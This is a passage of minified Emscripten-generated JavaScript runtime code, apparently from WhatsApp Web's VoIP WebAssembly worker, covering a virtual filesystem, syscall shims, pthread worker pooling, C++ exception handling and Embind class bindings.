("+t.fd+")"),G(n.fd===2,"invalid handle for stderr ("+n.fd+")")},ensureErrnoError:function(){zt.ErrnoError||(zt.ErrnoError=function(t,n){this.name="ErrnoError",this.node=n,this.setErrno=function(e){this.errno=e;for(var t in Vt)if(Vt[t]===e){this.code=t;break}},this.setErrno(t),this.message=Ut[t],this.stack&&(Object.defineProperty(this,"stack",{value:new Error().stack,writable:!0}),this.stack=Gt(this.stack))},zt.ErrnoError.prototype=new Error,zt.ErrnoError.prototype.constructor=zt.ErrnoError,[44].forEach(function(e){zt.genericErrors[e]=new zt.ErrnoError(e),zt.genericErrors[e].stack=""}))},staticInit:function(){zt.ensureErrnoError(),zt.nameTable=new Array(4096),zt.mount(Mt,{},"/"),zt.createDefaultDirectories(),zt.createDefaultDevices(),zt.createSpecialDirectories(),zt.filesystems={MEMFS:Mt,IDBFS:qt}},init:function(t,n,r){G(!zt.init.initialized,"FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)"),zt.init.initialized=!0,zt.ensureErrnoError(),y.stdin=t||y.stdin,y.stdout=n||y.stdout,y.stderr=r||y.stderr,zt.createStandardStreams()},quit:function(){zt.init.initialized=!1,Fi(0);for(var e=0;ethis.length-1||t<0)){var e=t%this.chunkSize,n=t/this.chunkSize|0;return this.getter(n)[e]}},e.prototype.setDataGetter=function(t){this.getter=t},e.prototype.cacheLength=function(){var e=new XMLHttpRequest;if(e.open("HEAD",r,!1),e.send(null),!(e.status>=200&&e.status<300||e.status===304))throw new Error("Couldn't load "+r+". Status: "+e.status);var t=Number(e.getResponseHeader("Content-length")),n,o=(n=e.getResponseHeader("Accept-Ranges"))&&n==="bytes",a=(n=e.getResponseHeader("Content-Encoding"))&&n==="gzip",i=1024*1024;o||(i=t);var l=function(n,o){if(n>o)throw new Error("invalid range ("+n+", "+o+") or no bytes requested!");if(o>t-1)throw new Error("only "+t+" bytes available! programmer error!");var e=new XMLHttpRequest;if(e.open("GET",r,!1),t!==i&&e.setRequestHeader("Range","bytes="+n+"-"+o),e.responseType="arraybuffer",e.overrideMimeType&&e.overrideMimeType("text/plain; charset=x-user-defined"),e.send(null),!(e.status>=200&&e.status<300||e.status===304))throw new Error("Couldn't load "+r+". Status: "+e.status);return e.response!==void 0?new Uint8Array(e.response||[]):Dt(e.responseText||"",!0)},s=this;s.setDataGetter(function(e){var n=e*i,r=(e+1)*i-1;if(r=Math.min(r,t-1),typeof s.chunks[e]=="undefined"&&(s.chunks[e]=l(n,r)),typeof s.chunks[e]=="undefined")throw new Error("doXHR failed!");return s.chunks[e]}),(a||!t)&&(i=t=1,t=this.getter(0).length,i=t,A("LazyFiles on gzip forces download of the whole file when length is accessed")),this._length=t,this._chunkSize=i,this.lengthKnown=!0},typeof XMLHttpRequest!="undefined"){if(!k)throw"Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";var i=new e;Object.defineProperties(i,{length:{get:function(){return this.lengthKnown||this.cacheLength(),this._length}},chunkSize:{get:function(){return this.lengthKnown||this.cacheLength(),this._chunkSize}}});var s={isDevice:!1,contents:i}}else var s={isDevice:!1,url:r};var u=zt.createFile(t,n,s,o,a);s.contents?u.contents=s.contents:s.url&&(u.contents=null,u.url=s.url),Object.defineProperties(u,{usedBytes:{get:function(){return this.contents.length}}});var c={},d=Object.keys(u.stream_ops);d.forEach(function(e){var t=u.stream_ops[e];c[e]=function(){return zt.forceLoadFile(u),t.apply(null,arguments)}});function m(e,t,n,r,o){var a=e.node.contents;if(o>=a.length)return 0;var i=Math.min(a.length-o,r);if(G(i>=0),a.slice)for(var l=0;l>2]=e.dev,_()[r+4>>2]=e.mode,f()[r+8>>2]=e.nlink,_()[r+12>>2]=e.uid,_()[r+16>>2]=e.gid,_()[r+20>>2]=e.rdev,Z[r+24>>3]=BigInt(e.size),_()[r+32>>2]=4096,_()[r+36>>2]=e.blocks;var o=e.atime.getTime(),a=e.mtime.getTime(),i=e.ctime.getTime();return Z[r+40>>3]=BigInt(Math.floor(o/1e3)),f()[r+48>>2]=o%1e3*1e3,Z[r+56>>3]=BigInt(Math.floor(a/1e3)),f()[r+64>>2]=a%1e3*1e3,Z[r+72>>3]=BigInt(Math.floor(i/1e3)),f()[r+80>>2]=i%1e3*1e3,Z[r+88>>3]=BigInt(e.ino),0},doMsync:function(t,n,r,o,a){if(!zt.isFile(n.node.mode))throw new zt.ErrnoError(43);if(o&2)return 0;var e=d().slice(t,t+r);zt.msync(n,e,a,r,o)},varargs:void 0,get:function(){G(Kt.varargs!=null),Kt.varargs+=4;var e=_()[Kt.varargs-4>>2];return e},getStr:function(t){var e=jt(t);return e},getStreamFromFD:function(t){var e=zt.getStreamChecked(t);return e}};function Qt(e){if(D)return Ea(1,1,e);H=e,me()||(en.terminateAllThreads(),y.onExit&&y.onExit(e),V=!0),L(e,new pt(e))}var Xt=function(t,n){if(H=t,Vs(),D)throw G(!n),rn(t),"unwind";if(me()&&!n){var e="program exited (with status: "+t+"), but keepRuntimeAlive() is set (counter="+de+") due to an async operation, so halting execution but not exiting the runtime or preventing further async execution (you can use emscripten_force_exit, if you want to force a true shutdown)";b(e),F(e)}Qt(t)},Yt=Xt,Jt=function(t){return G(typeof t=="number"),t>>>=0,"0x"+t.toString(16).padStart(8,"0")},Zt=function(t){if(t instanceof pt||t=="unwind")return H;ie(),t instanceof WebAssembly.RuntimeError&&ll()<=0&&F("Stack overflow detected. You can try increasing -sSTACK_SIZE (currently set to 10485760)"),L(1,t)},en={unusedWorkers:[],runningWorkers:[],tlsInitFunctions:[],pthreads:{},nextWorkerID:1,debugInit:function(){function e(){var e=0;return ce&&typeof Mi!="undefined"&&(e=Mi()),"w:"+(y.workerID||0)+",t:"+Jt(e)+": "}var t=ze;ze=function(r){return t(e()+r)}},init:function(){en.debugInit(),D?en.initWorker():en.initMainThread()},initMainThread:function(){for(var e=20;e--;)en.allocateUnusedWorker();ge(function(){Le("loading-workers"),en.loadWasmModuleToAllWorkers(function(){return Ee("loading-workers")})})},initWorker:function(){B=!1},setExitStatus:function(t){H=t},terminateAllThreads__deps:["$terminateWorker"],terminateAllThreads:function(){G(!D,"Internal Error! terminateAllThreads() can only ever be called from main application thread!");for(var e of en.runningWorkers)_t(e);for(var e of en.unusedWorkers)_t(e);en.unusedWorkers=[],en.runningWorkers=[],en.pthreads=[]},returnWorkerToPool:function(t){var e=t.pthread_ptr;delete en.pthreads[e],en.unusedWorkers.push(t),en.runningWorkers.splice(en.runningWorkers.indexOf(t),1),t.pthread_ptr=0,Xi(e)},receiveObjectTransfer:function(t){},threadInitTLS:function(){en.tlsInitFunctions.forEach(function(e){return e()})},loadWasmModuleToWorker:function(o){return new(u||(u=n("Promise")))(function(n){o.addMessageListener("cmd",function(e){var t=e,r=t.cmd;if(t.targetThread&&t.targetThread!=Mi()){var a=en.pthreads[t.targetThread];a?a.postMessage(babelHelpers.extends({},t,{type:"cmd"}),t.transferList):F('Internal error! Worker sent a message "'+r+'" to target pthread '+t.targetThread+", but that thread no longer exists!");return}r==="checkMailbox"?Vo():r==="spawnThread"?Ct(t):r==="cleanupThread"?ht(t.thread):r==="killThread"?ft(t.thread):r==="cancelThread"?gt(t.thread):r==="loaded"?(o.loaded=!0,n(o)):r==="alert"?alert("Thread "+t.threadId+": "+t.text):t.target==="setimmediate"?o.postMessage(babelHelpers.extends({},t,{type:"cmd"})):r==="callHandler"?y[t.handler].apply(y,t.args):r&&F("worker sent an unknown command "+r)}),o.addMessageListener("waWasmWorkerCompatibleCallback",function(t){var n=t.type,r=t.__name,o=babelHelpers.objectWithoutPropertiesLoose(t,e);i.WhatsAppVoipWasmWorkerCompatibleCallbacks[r](o)}),o.onerror=function(e){var t="worker sent an error!";throw o.pthread_ptr&&(t="Pthread "+Jt(o.pthread_ptr)+" sent an error!"),F(t+" "+e.filename+":"+e.lineno+": "+e.message),e},G(W instanceof WebAssembly.Memory,"WebAssembly memory should have been loaded by now!"),G(U instanceof WebAssembly.Module,"WebAssembly Module should have been loaded by now!");var r=[],a=["onExit","onAbort","print","printErr"];for(var l of a)Object.prototype.hasOwnProperty.call(y,l)&&r.push(l);o.workerID=en.nextWorkerID++,o.postMessage({cmd:"load",handlers:r,urlOrBlob:y.mainScriptUrlOrBlob||t,wasmMemory:W,wasmModule:U,workerID:o.workerID,type:"cmd"})})},loadWasmModuleToAllWorkers:function(t){if(D)return t();var e=(u||(u=n("Promise"))).all(en.unusedWorkers.map(en.loadWasmModuleToWorker));e.then(t)},allocateUnusedWorker:function(){var e,t=o("WorkerBundleResource").createDedicatedWebWorker(r("WAWebVoipWebWasmWorkerResource"));e=new(o("WorkerMessagePort")).WorkerMessagePort(t,"WAWebVoipWebWasmWorker"),o("WorkerClient").init(e),en.unusedWorkers.push(e)},getNewWorker:function(){return en.unusedWorkers.length==0&&(F("Tried to spawn a new thread, but the thread pool is exhausted.\nThis might result in a deadlock unless some threads eventually exit or the code explicitly breaks out to the event loop.\nIf you want to increase the pool size, use setting `-sPTHREAD_POOL_SIZE=...`.\nIf you want to throw an explicit error instead of the risk of deadlocking in those cases, use setting `-sPTHREAD_POOL_SIZE_STRICT=2`."),en.allocateUnusedWorker(),en.loadWasmModuleToWorker(en.unusedWorkers[0])),en.unusedWorkers.pop()}};y.PThread=en;var tn=function(t){for(;t.length>0;)t.shift()(y)};function nn(){var e=Mi(),t=_()[e+52>>2],n=_()[e+56>>2],r=t-n;G(t!=0),G(r!=0),G(t>r,"stackHigh must be higher then stackLow"),nl(t,r),al(t),ae()}y.establishStackSpace=nn;function rn(e){if(D)return Ea(2,0,e);Yt(e)}var on=function(t){var e=ol(),n=t();return al(e),n},an=function(t){return on(function(){var e=il(4),n=il(4);cl(t,e,n);var r=f()[e>>2],o=f()[n>>2],a=jt(r);Pi(r);var i;return o&&(i=jt(o),Pi(o)),[a,i]})};function ln(e){return an(e)}y.getExceptionMessage=ln;var sn=function(t){return oe.get(t)};function un(e,t){var n=sn(e)(t);ie();function r(e){me()?en.setExitStatus(e):Yi(e)}r(n)}y.invokeEntryPoint=un;function cn(e){en.tlsInitFunctions.push(e)}var dn=function(t){dn.shown||(dn.shown={}),dn.shown[t]||(dn.shown[t]=1,F(t))};function mn(){F("missing function: _ZN6webrtc14RTPVideoHeaderC1ERKS0_"),ke(-1)}function pn(){F("missing function: _ZN6webrtc14RTPVideoHeaderC1Ev"),ke(-1)}function _n(){F("missing function: _ZN6webrtc14RTPVideoHeaderD1Ev"),ke(-1)}function fn(){F("missing function: _ZN6webrtc18EncodedImageBuffer6CreateEm"),ke(-1)}var gn=function(t,n,r,o){ke("Assertion failed: "+jt(t)+", at: "+[n?jt(n):"unknown filename",r,o?jt(o):"unknown function"])},hn=[],yn=0;function Cn(e){var t=new Sn(e);return t.get_caught()||(t.set_caught(!0),yn--),t.set_rethrown(!1),hn.push(t),ul(t.excPtr),t.get_exception_ptr()}var bn=0;function vn(){Zi(0,0),G(hn.length>0);var e=hn.pop();sl(e.excPtr),bn=0}function Sn(e){this.excPtr=e,this.ptr=e-24,this.set_type=function(e){f()[this.ptr+4>>2]=e},this.get_type=function(){return f()[this.ptr+4>>2]},this.set_destructor=function(e){f()[this.ptr+8>>2]=e},this.get_destructor=function(){return f()[this.ptr+8>>2]},this.set_caught=function(e){e=e?1:0,l()[this.ptr+12>>0]=e},this.get_caught=function(){return l()[this.ptr+12>>0]!=0},this.set_rethrown=function(e){e=e?1:0,l()[this.ptr+13>>0]=e},this.get_rethrown=function(){return l()[this.ptr+13>>0]!=0},this.init=function(e,t){this.set_adjusted_ptr(0),this.set_type(e),this.set_destructor(t)},this.set_adjusted_ptr=function(e){f()[this.ptr+16>>2]=e},this.get_adjusted_ptr=function(){return f()[this.ptr+16>>2]},this.get_exception_ptr=function(){var e=ml(this.get_type());if(e)return f()[this.excPtr>>2];var t=this.get_adjusted_ptr();return t!==0?t:this.excPtr}}function Rn(e){throw bn||(bn=new Ne(e)),bn}var Ln=function(t){var e=bn&&bn.excPtr;if(!e)return el(0),0;var n=new Sn(e);n.set_adjusted_ptr(e);var r=n.get_type();if(!r)return el(0),e;for(var o in t){var a=t[o];if(a===0||a===r)break;var i=n.ptr+16;if(dl(a,r,i))return el(a),e}return el(r),e},En=function(){return Ln([])},kn=function(t){return Ln([t])},In=function(t,n){return Ln([t,n])};function Tn(e){var t=new Sn(e).get_exception_ptr();return t}function Dn(){var e=hn.pop();e||ke("no exception to throw");var t=e.excPtr;throw e.get_rethrown()||(hn.push(e),e.set_rethrown(!0),e.set_caught(!1),yn++),bn=new Ne(t),bn}function xn(e,t,n){var r=new Sn(e);throw r.init(t,n),bn=new Ne(e),yn++,bn}function $n(){return yn}function Pn(e){Ui(e,!k,1,!E,10485760,!1),en.threadInitTLS()}function Nn(e){D?postMessage({cmd:"cleanupThread",thread:e,type:"cmd"}):ht(e)}function Mn(e,t,n,r){return D?Ea(3,1,e,t,n,r):wn(e,t,n,r)}function wn(e,t,n,r){if(typeof SharedArrayBuffer=="undefined")return F("Current environment does not support SharedArrayBuffer, pthreads are not available!"),6;var o=[],a=0;if(D&&(o.length===0||a))return Mn(e,t,n,r);var i={startRoutine:n,pthread_ptr:e,arg:r,transferList:o};return D?(i.cmd="spawnThread",postMessage(babelHelpers.extends({},i,{type:"cmd"}),o),0):Ct(i)}var An=function(t){return _()[wi()>>2]=t,t};function Fn(e,t,n){if(D)return Ea(4,1,e,t,n);Kt.varargs=n;try{var r=Kt.getStreamFromFD(e);switch(t){case 0:{var o=Kt.get();if(o<0)return-28;var a;return a=zt.createStream(r,o),a.fd}case 1:case 2:return 0;case 3:return r.flags;case 4:{var o=Kt.get();return r.flags|=o,0}case 5:{var o=Kt.get(),i=0;return m()[o+i>>1]=2,0}case 6:case 7:return 0;case 16:case 8:return-28;case 9:return An(28),-1;default:return-28}}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function On(e,t){if(D)return Ea(5,1,e,t);try{var n=Kt.getStreamFromFD(e);return Kt.doStat(zt.stat,n.path,t)}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function Bn(e,t,n){if(D)return Ea(6,1,e,t,n);Kt.varargs=n;try{var r=Kt.getStreamFromFD(e);switch(t){case 21509:return r.tty?0:-59;case 21505:{if(!r.tty)return-59;if(r.tty.ops.ioctl_tcgets){var o=r.tty.ops.ioctl_tcgets(r),a=Kt.get();_()[a>>2]=o.c_iflag||0,_()[a+4>>2]=o.c_oflag||0,_()[a+8>>2]=o.c_cflag||0,_()[a+12>>2]=o.c_lflag||0;for(var i=0;i<32;i++)l()[a+i+17>>0]=o.c_cc[i]||0;return 0}return 0}case 21510:case 21511:case 21512:return r.tty?0:-59;case 21506:case 21507:case 21508:{if(!r.tty)return-59;if(r.tty.ops.ioctl_tcsets){for(var a=Kt.get(),s=_()[a>>2],u=_()[a+4>>2],c=_()[a+8>>2],d=_()[a+12>>2],p=[],i=0;i<32;i++)p.push(l()[a+i+17>>0]);return r.tty.ops.ioctl_tcsets(r.tty,t,{c_iflag:s,c_oflag:u,c_cflag:c,c_lflag:d,c_cc:p})}return 0}case 21519:{if(!r.tty)return-59;var a=Kt.get();return _()[a>>2]=0,0}case 21520:return r.tty?-28:-59;case 21531:{var a=Kt.get();return zt.ioctl(r,t,a)}case 21523:{if(!r.tty)return-59;if(r.tty.ops.ioctl_tiocgwinsz){var f=r.tty.ops.ioctl_tiocgwinsz(r.tty),a=Kt.get();m()[a>>1]=f[0],m()[a+2>>1]=f[1]}return 0}case 21524:return r.tty?0:-59;case 21515:return r.tty?0:-59;default:return-28}}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function Wn(e,t){if(D)return Ea(7,1,e,t);try{return e=Kt.getStr(e),Kt.doStat(zt.lstat,e,t)}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function qn(e,t,n){if(D)return Ea(8,1,e,t,n);try{return t=Kt.getStr(t),t=Kt.calculateAt(e,t),t=bt.normalize(t),t[t.length-1]==="/"&&(t=t.substr(0,t.length-1)),zt.mkdir(t,n,0),0}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function Un(e,t,n,r){if(D)return Ea(9,1,e,t,n,r);try{t=Kt.getStr(t);var o=r&256,a=r&4096;return r=r&-6401,G(!r,"unknown flags in __syscall_newfstatat: "+r),t=Kt.calculateAt(e,t,a),Kt.doStat(o?zt.lstat:zt.stat,t,n)}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function Vn(e,t,n,r){if(D)return Ea(10,1,e,t,n,r);Kt.varargs=r;try{t=Kt.getStr(t),t=Kt.calculateAt(e,t);var o=r?Kt.get():0;return zt.open(t,n,o).fd}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function Hn(e,t){if(D)return Ea(11,1,e,t);try{return e=Kt.getStr(e),Kt.doStat(zt.stat,e,t)}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function Gn(e,t,n){if(D)return Ea(12,1,e,t,n);try{return t=Kt.getStr(t),t=Kt.calculateAt(e,t),n===0?zt.unlink(t):n===512?zt.rmdir(t):ke("Invalid flags passed to unlinkat"),0}catch(e){if(typeof zt=="undefined"||e.name!=="ErrnoError")throw e;return-e.errno}}function zn(e){if(e===null)return"null";var t=typeof e;return t==="object"||t==="array"||t==="function"?e.toString():""+e}function jn(){for(var e=new Array(256),t=0;t<256;++t)e[t]=String.fromCharCode(t);Kn=e}var Kn=void 0;function Qn(e){for(var t="",n=e;d()[n];)t+=Kn[d()[n++]];return t}var Xn={},Yn={},Jn={},Zn=void 0;function er(e){throw new Zn(e)}var tr=void 0;function nr(e){throw new tr(e)}function rr(e,t,n){e.forEach(function(e){Jn[e]=t});function r(t){var r=n(t);r.length!==e.length&&nr("Mismatched type converter count");for(var o=0;o>1]}:function(t){return p()[t>>1]};case 2:return n?function(t){return _()[t>>2]}:function(t){return f()[t>>2]};case 3:return n?function(t){return Z[t>>3]}:function(t){return ee[t>>3]};default:throw new TypeError("Unknown integer type: "+e)}}function lr(e,t,n,r,o){t=Qn(t);var a=sr(n),i=t.indexOf("u")!=-1;i&&(o=(BigInt(1)<o)throw new TypeError('Passing a number "'+zn(a)+'" from JS side to C/C++ side to an argument of type "'+t+'", which is outside the valid range ['+r+", "+o+"]!");return a},argPackAdvance:8,readValueFromPointer:ir(t,a,!i),destructorFunction:null})}function sr(e){switch(e){case 1:return 0;case 2:return 1;case 4:return 2;case 8:return 3;default:throw new TypeError("Unknown type size: "+e)}}function ur(e,t,n,r,o){var a=sr(n);t=Qn(t),ar(e,{name:t,fromWireType:function(t){return!!t},toWireType:function(t,n){return n?r:o},argPackAdvance:8,readValueFromPointer:function(r){var e;if(n===1)e=l();else if(n===2)e=m();else if(n===4)e=_();else throw new TypeError("Unknown boolean type size: "+t);return this.fromWireType(e[r>>a])},destructorFunction:null,jsType:"boolean"})}function cr(e){if(!(this instanceof Fr)||!(e instanceof Fr))return!1;for(var t=this.$$.ptrType.registeredClass,n=this.$$.ptr,r=e.$$.ptrType.registeredClass,o=e.$$.ptr;t.baseClass;)n=t.upcast(n),t=t.baseClass;for(;r.baseClass;)o=r.upcast(o),r=r.baseClass;return t===r&&n===o}function dr(e){return{count:e.count,deleteScheduled:e.deleteScheduled,preservePointerOnDelete:e.preservePointerOnDelete,ptr:e.ptr,ptrType:e.ptrType,smartPtr:e.smartPtr,smartPtrType:e.smartPtrType}}function mr(e){function t(e){return e.$$.ptrType.registeredClass.name}er(t(e)+" instance already deleted")}var pr=!1;function _r(e){}function fr(e){e.smartPtr?e.smartPtrType.rawDestructor(e.smartPtr):e.ptrType.registeredClass.rawDestructor(e.ptr)}function gr(e){e.count.value-=1;var t=e.count.value===0;t&&fr(e)}function hr(e,t,n){if(t===n)return e;if(n.baseClass===void 0)return null;var r=hr(e,t,n.baseClass);return r===null?null:n.downcast(r)}var yr={};function Cr(){return Object.keys(kr).length}function br(){var e=[];for(var t in kr)Object.prototype.hasOwnProperty.call(kr,t)&&e.push(kr[t]);return e}var vr=[];function Sr(){for(;vr.length;){var e=vr.pop();e.$$.deleteScheduled=!1,e.delete()}}var Rr=void 0;function Lr(e){Rr=e,vr.length&&Rr&&Rr(Sr)}function Er(){y.getInheritedInstanceCount=Cr,y.getLiveInheritedInstances=br,y.flushPendingDeletes=Sr,y.setDelayFunction=Lr}var kr={};function Ir(e,t){for(t===void 0&&er("ptr should not be undefined");e.baseClass;)t=e.upcast(t),e=e.baseClass;return t}function Tr(e,t){return t=Ir(e,t),kr[t]}function Dr(e,t){(!t.ptrType||!t.ptr)&&nr("makeClassHandle requires ptr and ptrType");var n=!!t.smartPtrType,r=!!t.smartPtr;return n!==r&&nr("Both smartPtrType and smartPtr must be specified"),t.count={value:1},$r(Object.create(e,{$$:{value:t}}))}function xr(e){var t=this.getPointee(e);if(!t)return this.destructor(e),null;var n=Tr(this.registeredClass,t);if(n!==void 0){if(n.$$.count.value===0)return n.$$.ptr=t,n.$$.smartPtr=e,n.clone();var r=n.clone();return this.destructor(e),r}function o(){return this.isSmartPointer?Dr(this.registeredClass.instancePrototype,{ptrType:this.pointeeType,ptr:t,smartPtrType:this,smartPtr:e}):Dr(this.registeredClass.instancePrototype,{ptrType:this,ptr:e})}var a=this.registeredClass.getActualType(t),i=yr[a];if(!i)return o.call(this);var l;this.isConst?l=i.constPointerType:l=i.pointerType;var s=hr(t,this.registeredClass,l.registeredClass);return s===null?o.call(this):this.isSmartPointer?Dr(l.registeredClass.instancePrototype,{ptrType:l,ptr:s,smartPtrType:this,smartPtr:e}):Dr(l.registeredClass.instancePrototype,{ptrType:l,ptr:s})}var $r=function(t){return typeof FinalizationRegistry=="undefined"?($r=function(t){return t},t):(pr=new FinalizationRegistry(function(e){e.leakWarning.stack.replace(/^Error: /,""),gr(e.$$)}),$r=function(t){var e=t.$$,n=!!e.smartPtr;if(n){var r={$$:e},o=e.ptrType.registeredClass;r.leakWarning=new Error("Embind found a leaked C++ instance "+o.name+" <"+Jt(e.ptr)+">.\nWe'll free it automatically in this case, but this functionality is not reliable across various environments.\nMake sure to invoke .delete() manually once you're done with the instance instead.\nOriginally allocated"),"captureStackTrace"in Error&&Error.captureStackTrace(r.leakWarning,xr),pr.register(t,r,t)}return t},_r=function(t){return pr.unregister(t)},$r(t))};function Pr(){if(this.$$.ptr||mr(this),this.$$.preservePointerOnDelete)return this.$$.count.value+=1,this;var e=$r(Object.create(Object.getPrototypeOf(this),{$$:{value:dr(this.$$)}}));return e.$$.count.value+=1,e.$$.deleteScheduled=!1,e}function Nr(){this.$$.ptr||mr(this),this.$$.deleteScheduled&&!this.$$.preservePointerOnDelete&&er("Object already scheduled for deletion"),_r(this),gr(this.$$),this.$$.preservePointerOnDelete||(this.$$.smartPtr=void 0,this.$$.ptr=void 0)}function Mr(){return!this.$$.ptr}function wr(){return this.$$.ptr||mr(this),this.$$.deleteScheduled&&!this.$$.preservePointerOnDelete&&er("Object already scheduled for deletion"),vr.push(this),vr.length===1&&Rr&&Rr(Sr),this.$$.deleteScheduled=!0,this}function Ar(){Fr.prototype.isAliasOf=cr,Fr.prototype.clone=Pr,Fr.prototype.delete=Nr,Fr.prototype.isDeleted=Mr,Fr.prototype.deleteLater=wr}function Fr(){}var Or=48,Br=57;function Wr(e){if(e===void 0)return"_unknown";e=e.replace(/[^a-zA-Z0-9_]/g,"$");var t=e.charCodeAt(0);return t>=Or&&t<=Br?"_"+e:e}function qr(e,t){var n;return e=Wr(e),(n={},n[e]=function(){return t.apply(this,arguments)},n)[e]}function Ur(e,t,n){if(e[t].overloadTable===void 0){var r=e[t];e[t]=function(){return Object.prototype.hasOwnProperty.call(e[t].overloadTable,arguments.length)||er("Function '"+n+"' called with an invalid number of arguments ("+arguments.length+") - expects one of ("+e[t].overloadTable+")!"),e[t].overloadTable[arguments.length].apply(this,arguments)},e[t].overloadTable=[],e[t].overloadTable[r.argCount]=r}}function Vr(e,t,n){Object.prototype.hasOwnProperty.call(y,e)?((n===void 0||y[e].overloadTable!==void 0&&y[e].overloadTable[n]!==void 0)&&er("Cannot register public name '"+e+"' twice"),Ur(y,e,e),Object.prototype.hasOwnProperty.call(y,n)&&er("Cannot register multiple overloads of a function with the same number of arguments ("+n+")!"),y[e].overloadTable[n]=t):(y[e]=t,n!==void 0&&(y[e].numArguments=n))}function Hr(e,t,n,r,o,a,i,l){this.name=e,this.constructor=t,this.instancePrototype=n,this.rawDestructor=r,this.baseClass=o,this.getActualType=a,this.upcast=i,this.downcast=l,this.pureVirtualFunctions=[]}function Gr(e,t,n){for(;t!==n;)t.upcast||er("Expected null or instance of "+n.name+", got an instance of "+t.name),e=t.upcast(e),t=t.baseClass;return e}function zr(e,t){if(t===null)return this.isReference&&er("null is not a valid "+this.name),0;t.$$||er('Cannot pass "'+zn(t)+'" as a '+this.name),t.$$.ptr||er("Cannot pass deleted object as a pointer of type "+this.name);var n=t.$$.ptrType.registeredClass,r=Gr(t.$$.ptr,n,this.registeredClass);return r}function jr(e,t){var n;if(t===null)return this.isReference&&er("null is not a valid "+this.name),this.isSmartPointer?(n=this.rawConstructor(),e!==null&&e.push(this.rawDestructor,n),n):0;t.$$||er('Cannot pass "'+zn(t)+'" as a '+this.name),t.$$.ptr||er("Cannot pass deleted object as a pointer of type "+this.name),!this.isConst&&t.$$.ptrType.isConst&&er("Cannot convert argument of type "+(t.$$.smartPtrType?t.$$.smartPtrType.name:t.$$.ptrType.name)+" to parameter type "+this.name);var r=t.$$.ptrType.registeredClass;if(n=Gr(t.$$.ptr,r,this.registeredClass),this.isSmartPointer)switch(t.$$.smartPtr===void 0&&er("Passing raw pointer to smart pointer is illegal"),this.sharingPolicy){case 0:t.$$.smartPtrType===this?n=t.$$.smartPtr:er("Cannot convert argument of type "+(t.$$.smartPtrType?t.$$.smartPtrType.name:t.$$.ptrType.name)+" to parameter type "+this.name);break;case 1:n=t.$$.smartPtr;break;case 2:if(t.$$.smartPtrType===this)n=t.$$.smartPtr;else{var o=t.clone();n=this.rawShare(n,bo.toHandle(function(){o.delete()})),e!==null&&e.push(this.rawDestructor,n)}break;default:er("Unsupporting sharing policy")}return n}function Kr(e,t){if(t===null)return this.isReference&&er("null is not a valid "+this.name),0;t.$$||er('Cannot pass "'+zn(t)+'" as a '+this.name),t.$$.ptr||er("Cannot pass deleted object as a pointer of type "+this.name),t.$$.ptrType.isConst&&er("Cannot convert argument of type "+t.$$.ptrType.name+" to parameter type "+this.name);var n=t.$$.ptrType.registeredClass,r=Gr(t.$$.ptr,n,this.registeredClass);return r}function Qr(e){return this.fromWireType(_()[e>>2])}function Xr(e){return this.rawGetPointee&&(e=this.rawGetPointee(e)),e}function Yr(e){this.rawDestructor&&this.rawDestructor(e)}function Jr(e){e!==null&&e.delete()}function Zr(){eo.prototype.getPointee=Xr,eo.prototype.destructor=Yr,eo.prototype.argPackAdvance=8,eo.prototype.readValueFromPointer=Qr,eo.prototype.deleteObject=Jr,eo.prototype.fromWireType=xr}function eo(e,t,n,r,o,a,i,l,s,u,c){this.name=e,this.registeredClass=t,this.isReference=n,this.isConst=r,this.isSmartPointer=o,this.pointeeType=a,this.sharingPolicy=i,this.rawGetPointee=l,this.rawConstructor=s,this.rawShare=u,this.rawDestructor=c,!o&&t.baseClass===void 0?r?(this.toWireType=zr,this.destructorFunction=null):(this.toWireType=Kr,this.destructorFunction=null):this.toWireType=jr}function to(e,t,n){Object.prototype.hasOwnProperty.call(y,e)||nr("Replacing nonexistant public symbol"),y[e].overloadTable!==void 0&&n!==void 0?y[e].overloadTable[n]=t:(y[e]=t,y[e].argCount=n)}function no(e,t){e=Qn(e);function n(){return sn(t)}var r=n();return typeof r!="function"&&er("unknown function pointer with signature "+e+": "+t),r}function ro(e,t){var n=qr(t,function(e){this.name=t,this.message=e;var n=new Error(e).stack;n!==void 0&&(this.stack=this.toString()+"\n"+n.replace(/^Error(:[^\n]*)?\n/,""))});return n.prototype=Object.create(e.prototype),n.prototype.constructor=n,n.prototype.toString=function(){return this.message===void 0?this.name:this.name+": "+this.message},n}var oo=void 0;function ao(e){var t=Wi(e),n=Qn(t);return Pi(t),n}function io(e,t){var n=[],r={};function o(e){if(!r[e]&&!Yn[e]){if(Jn[e]){Jn[e].forEach(o);return}n.push(e),r[e]=!0}}throw t.forEach(o),new oo(e+": "+n.map(ao).join([", "]))}function lo(e,t,n,r,o,a,i,l,s,u,c,d,m){c=Qn(c),a=no(o,a),l&&(l=no(i,l)),u&&(u=no(s,u)),m=no(d,m);var p=Wr(c);Vr(p,function(){io("Cannot construct "+c+" due to unbound types",[r])}),rr([e,t,n],r?[r]:[],function(t){t=t[0];var n,o;r?(n=t.registeredClass,o=n.instancePrototype):o=Fr.prototype;var i=qr(p,function(){if(Object.getPrototypeOf(this)!==s)throw new Zn("Use 'new' to construct "+c);if(d.constructor_body===void 0)throw new Zn(c+" has no accessible constructor");var e=d.constructor_body[arguments.length];if(e===void 0)throw new Zn("Tried to invoke ctor of "+c+" with invalid number of parameters ("+arguments.length+") - expected ("+Object.keys(d.constructor_body).toString()+") parameters instead!");return e.apply(this,arguments)}),s=Object.create(o,{constructor:{value:i}});i.prototype=s;var d=new Hr(c,i,s,m,n,a,l,u);d.baseClass&&(d.baseClass.__derivedClasses===void 0&&(d.baseClass.__derivedClasses=[]),d.baseClass.__derivedClasses.push(d));var _=new eo(c,d,!0,!1,!1),f=new eo(c+"*",d,!1,!1,!1),g=new eo(c+" const*",d,!1,!0,!1);return 